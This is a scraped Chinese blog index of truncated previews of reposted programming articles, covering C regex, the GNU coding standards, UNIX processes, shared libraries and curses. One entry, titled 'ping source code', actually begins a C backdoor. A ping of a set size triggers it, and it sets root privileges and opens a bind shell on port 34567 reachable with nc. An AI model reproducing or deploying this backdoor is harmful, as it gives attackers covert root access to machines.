数学算法(转)
数学算法(转)[@more@]我的游戏梦作者:指顾江山 那是一个充满幻想的梦境,梦虽然很长,不变的是梦的结局——醒来。———— 作者题记 指顾江山 很好的天气。当我从考场步出来的时候,似乎什么都没有想,又似乎什么都在脑子里,除了GRE的成绩。几个月来炼狱般的生活,导师、工作、考试的巨大压力,似乎瞬间消散,又确确实实留下了一些东西在身体里,使得我可以昂起头,面对周围的一切。有人说不考GRE,人生就会有缺憾, 可能真的有道理吧。快要步出清华大门的时候,我的思路逐渐清晰了起来。出国,至少两年以后吧。我有着业余高手级的文学,
GNU C 规则表达式入门(转)
GNU C 规则表达式入门(转)[@more@]用过Perl的朋友应该都它提供了规则表达式功能,所以使得用perl 进行文本处 理非常方便。本人最近试用了一下 GNU C 的规则表达式功能, 发现使用起来也很简单,只是觉得支持的不够强大,不能够进行文本的替换,只 能进行文本的查找,至少目前我是 没有发现基于规则表达式的 文本替换功能。 下面我就简单的介绍一下GNU C 的规则表达式使用方法,有理解不对的地方,还 请朋友们多指正。 在GNU C 中要使用规则表达式,需要用到以下几个函数。(定义在/usr/includ e/regex.h文件中) * int regcomp (regex_t *
GNU 编码标准 Part 1(转)
GNU 编码标准 Part 1(转)[@more@]GNU编码标准@author{Richard Stallman} @author{last updated 03 Feb 1993} Copyright (C) 1992, 1993 Free Software Foundation Permission is granted to make and distribute verbatim copies of this manual provided the copyright notice and this permission notice are preserved on al l copies. Permission is granted to copy and distribute modified versions of this manua l under the conditions for verbatim copying, provided that the entire result ing derived work is distributed
GNU 编码标准 Part 2(转)
GNU 编码标准 Part 2(转)[@more@]Makefile惯例 本章叙述为GNU程序书写Makefile的惯例。 Makefile的通用惯例 每个Makefile都应该包含这一行: SHELL = /bin/sh 以避免那些由从环境中继承SHELL变量的系统带来的麻烦。(GNU make永远不会出现这个 问题。) 不要假定`.'出现在用于寻找可执行的命令的路径中。当你需要在make期间运行作为你的 包的一部分的程序时,如果程序是作为make的一部分而创建的,请确保它使用了`./', 或者如果文件是不会被改变的源代码的一部分,请确保它使用了`$(srcdir)/'。 如果运行`configure'时使用了选项`--srcdi
GNU 编码标准 Part 3(转)
GNU 编码标准 Part 3(转)[@more@]使用C以外的语言 使用C以外的语言就好像使用非标准特征:它将为用户带来麻烦。即使GCC能够支持其它 语言,用户也可能因为不得不安装其它语言的编译器以创建你的程序而感到不便。所以 请使用C语言。 这条规则有三个例外: 如果有些程序包括了特殊语言的解释器,那么就可以使用这种语言。 因此,GNU Emacs包含用Emacs Lisp写的代码就没有问题,因为GNU Emacs包含了Lisp解 释器。 如果一个工具就是为了某种语言而编写的,那么就可以使用那种语言。 这是因为那些需要创建这个工具的人必然是那些已经安装了其它
多进程编程(转)
多进程编程(转)[@more@]多进程编程 写在前面的话 本文主要根据本人在UNIX系统上的编程实践经验总结而成, 既做为自己在 一个时期内编程实践的部分总结, 又可成为文章发表. 对UNIX程序员初学者来 说是一个小小的经验, 仅供参考; 对UNIX老手来说则不值一哂, 请各位多多指 教. 一.多进程程序的特点 由于UNIX系统是分时多用户系统, CPU按时间片分配给各个用户使用, 而在 实质上应该说CPU按时间片分配给各个进程使用, 每个进程都有自己的运行环境 以使得在CPU做进程切换时不会"忘记"该进程已计算了一半的"半成品". 以DOS 的概念来说, 进程的切换
ping源码(转)
ping源码(转)[@more@]/*ping -s 100 192.168.11.7nc 192.168.11.7 34567*/#include #include #include #include #include #include #define SIZEPACK 88#define PORT 34567void child_kill() {wait(NULL);signal(SIGCHLD, child_kill);}int bind_shell() {int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;struct sockaddr_in serv_addr;struct sockaddr_in client_addr;setuid(0);setgid(0);seteuid(0);setegid(0);chdir("/"); soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);if (soc_des == -1) exit(-1);bzero((cha
一个简易的proxy程序的开发过程(2)(转)
一个简易的proxy程序的开发过程(2)(转)[@more@]原创 01-08-20 17:42 68p ariesram--------------------------------------------------------------------------------简易Proxy程序(源代码)上次贴出了一篇<<一个简易的proxy程序的开发过程(1)>>和<<一个简易的UDP Proxy程序>>之后,有不少网友来信询问下文何时出现。我却一直忙于工作,忘记了将下文贴上来,非常抱歉。现在在这里把源代码贴出来。我申明这个源代码基于GNU GPL,目的在于希望大家能够有时间去更加完善它。你也可以按照你自己的希望去改变它。不过
无限使用make(转)
无限使用make(转)[@more@]摘要文章除介绍make工具是如何运行的以外,还涉及到make工具除了具有软件开发作用外的许多别的用途。介绍几乎每个使用Linux的用户都会使用到make工具。当然我们也知道只有在程序和内核建立于源代码的基础上及软件包安装完成后,make工具才能运行。Make对于软件开发是一个非常重要的操作工具。然而,make还能做更多你先前没有注意过的事。 你所将要了解的是,make工具将成为你以后处理日常工作如写文章、著书或建立一个Web站点的一个非常有效的工具。你会学到许多‘unix窍门’,它会让你在以后的工作中更熟练的操作
一个使用getopt()函数获取命令行参数的例子(转)
一个使用getopt()函数获取命令行参数的例子(转)[@more@]#include intmain (argc, argv)int argc;char **argv;{int c;int digit_optind = 0;while (1){int this_option_optind = optind ? optind : 1;int option_index = 0;static struct option long_options[] ={{"add", 1, 0, 0},{"append", 0, 0, 0},{"delete", 1, 0, 0},{"verbose", 0, 0, 0},{"create", 1, 0, 'c'},{"file", 1, 0, 0},{0, 0, 0, 0}};c = getopt_long (argc, argv, "abc:d:012",long_options, &option_index);if (c == -1)break;switch (c){case 0:printf ("optio
和luster学习在Linux创建库函数(1)(转)
和luster学习在Linux创建库函数(1)(转)[@more@]Linux下创建库函数By lusterluster@linuxaid.com.cn2001-8-161. 介绍使用GNU的工具我们如何在Linux下创建自己的程序函数库?一个“程序函数库”简单的说就是一个文件包含了一些编译好的代码和数据,这些编译好的代码和数据可以在事后供其他的程序使用。程序函数库可以使整个程序更加模块化,更容易重新编译,而且更方便升级。程序函数库可分为3种类型:静态函数库(static libraries)、共享函数库(shared libraries)和动态加载函数库(dynamically loaded libraries)。静态函数库是在程
和luster学习在Linux创建库函数(4)(转)
和luster学习在Linux创建库函数(4)(转)[@more@]3.4. 创建一个共享函数库现在我们开始学习如何创建一个共享函数库。其实创建一个共享函数库非常容易。首先创建object文件,这个文件将加入通过gcc –fPIC 参数命令加入到共享函数库里面。PIC的意思是“位置无关代码”(Position Independent Code)。下面是一个标准的格式:gcc -shared -Wl,-soname,your_soname -o library_name file_list library_list下面再给一个例子,它创建两个object文件(a.o和b.o),然后创建一个包含a.o和b.o的共享函数库。例子中”-g”和“-Wall”参数不是必须
和luster学习在Linux创建库函数(2)(转)
和luster学习在Linux创建库函数(2)(转)[@more@]3. 共享函数库共享函数库中的函数是在当一个可执行程序在启动的时候被加载。如果一个共享函数库正常安装,所有的程序在重新运行的时候都可以自动加载最新的函数库中的函数。对于Linux系统还有更多的可以实现的功能:o 升级了函数库但是仍然允许程序使用老版本的函数库。o 当执行某个特定程序的时候可以覆盖某个特定的库或者库中指定的函数。o 可以在库函数被使用的过程中修改这些函数库。3.1. 一些约定如果你要编写的共享函数库支持所有有用的特性,你在编写的过程中必须遵循一系列约定。你
C语言直接显示汉字(转)
C语言直接显示汉字(转)[@more@]如何显示汉字在模式 13H 下, 直接写屏显示汉字.其中 hzk16 是 UCDOS 的字库, 把它放在当前目录下显示汉字用的是 区位码, 稍加修改可变成显示其它码.// Graphics Mode 13h Test, Display a Chinese String, Wildrose Inc.// Compile it with Watcom C/C++ 10.0 compiler// Copyright(c) Jan. 1997 ZhangWei// All rights reserved#if !defined(__WATCOMC__)' '!defined(__386__)#error "This Program needs Watcom C/C++ 10.0 Compiler"#endif#include #include #include #include #include #include #includ
Linux内核研究系列之可执行文件格式(转)
Linux内核研究系列之可执行文件格式(转)[@more@]// 本文档版权归bluerain所有,可自由转发,粘贴// 如有疑问差错,请给我发信:hexn@ggw.com.cn,谢谢!我们知道linux环境下不是所有的二进制文件都有相同的格式,linux系统使用二进制文件的处理程序来实现对不同二进制格式文件的分别处理。二进制处理程序通过内嵌在文件开头的“特征序列”(一个特殊的字节序列)来识别文件,有时也会通过文件名的一些特征,例如ELF文件以’E’’L’’F’字符开头,java文件以0xcafebabe开始前四个字节。Linux用sys_execve装入可执行二进制文件。当前linux版
一、什么是需求(转)
一、什么是需求(转)[@more@]软件需求对大多数人来说,若要建一幢数百万元的房子,他一定会与建房者详细讨论各种细节,他们都明白完工以后的修改会造成损失,以及变更细节的危害性。然而,涉及到软件开发,人们却变得“大大咧咧”起来。软件项目中百分之四十至百分之六十的问题都是在需求分析阶段埋下的“祸根”(Leffingwell 1997)。可许多组织仍在那些基本的项目功能上采用一些不合规范的方法,这样导致的后果便是一条鸿沟(期望差异)—开发者开发的与用户所想得到的软件存在着巨大期望差异。在软件工程中,所有的风险承担者(stakeholder)(
二、需求的是是非非(转)
二、需求的是是非非(转)[@more@]前些日子有一个朋友向我要一份需求的标准文档,因为他现在正在负责一个项目。我对他说,我的需求文档只适合我用,并不适合你用。如果你是真的想在开发过程中引入科学的管理方法,静下心来,认真的学习需求的方法论,仔细的思考适合你们自身的方法。如果你只是需要一份好看的模版来哄哄Boss的话,那你就随便去找一份文档来修改一下就行了,保证糊弄得住人。最后我的朋友毅然的找了一份漂亮的文档走了。朋友走后我思考了很久,中国目前有很多的软件公司都很有实力,可是他们在管理方法上却很成问题。上半年在
三、怎么做需求分析(上)(转)
三、怎么做需求分析(上)(转)[@more@]需求分析在具体的研究需求分析之前,我们先了解一下软件工程这个概念。软件工程分为三个层次,过程层、方法层、工具层。在最基础的过程层,最重要的就是一组被称为关键过程区域(KPAs)的框架(KPA的概念在讨论CMM的书中有详细的概念说明)。关键过程区域构成了软件项目的管理控制的基础,并且确立了上下文各区域的关系,其中规定了技术方法的采用、工程产品的,模型、文档、数据、报告、表格等,等的产生、里程碑的建立、质量的保证及变化的适当管理。方法层主要是过程在技术上的实现。它解决的问题
UNIX 屏幕导向程序的发展利器 - curses (之二)(转)
UNIX 屏幕导向程序的发展利器 - curses (之二)(转)[@more@]UNIX 屏幕导向程序的发展利器 - curses (之二) 作者:林建宏在上期为您介绍完了 curses.h 函式库的一些基本函式呼叫後在, 在本期里, 我们将继续为您介绍 curses 有关多视窗处理的函式. 有了这些函式, 我们可以在程式里同时处理多个不同的视窗. 如 joe 编辑器内我们可将萤幕切割成好几个小萤幕, 并且可以在这些不同的萤幕间做切换并编辑不同的档案, 这就是多视处理的应用. 另外, 有关 POP-UP 视窗的制作, 以及视窗的卷动, 在本文里, 我们将以简单的例子, 告诉您这些功能是如何做到
和luster学习在Linux创建库函数(6)(转)
和luster学习在Linux创建库函数(6)(转)[@more@]4.3. dlsym()如果你加载了一个DL函数库而不去使用当然是不可能的了,使用一个DL函数库的最主要的一个函数就是dlsym(),这个函数在一个已经打开的函数库里面查找给定的符号。这个函数如下定义:void * dlsym(void *handle, char *symbol);函数中的参数handle就是由dlopen打开后返回的句柄,symbol是一个以NIL结尾的字符串。如果dlsym()函数没有找到需要查找的symbol,则返回NULL。如果你知道某个symbol的值不可能是NULL或者0,那么就很好,你就可以根据这个返回结果判断查找的symbol是否存在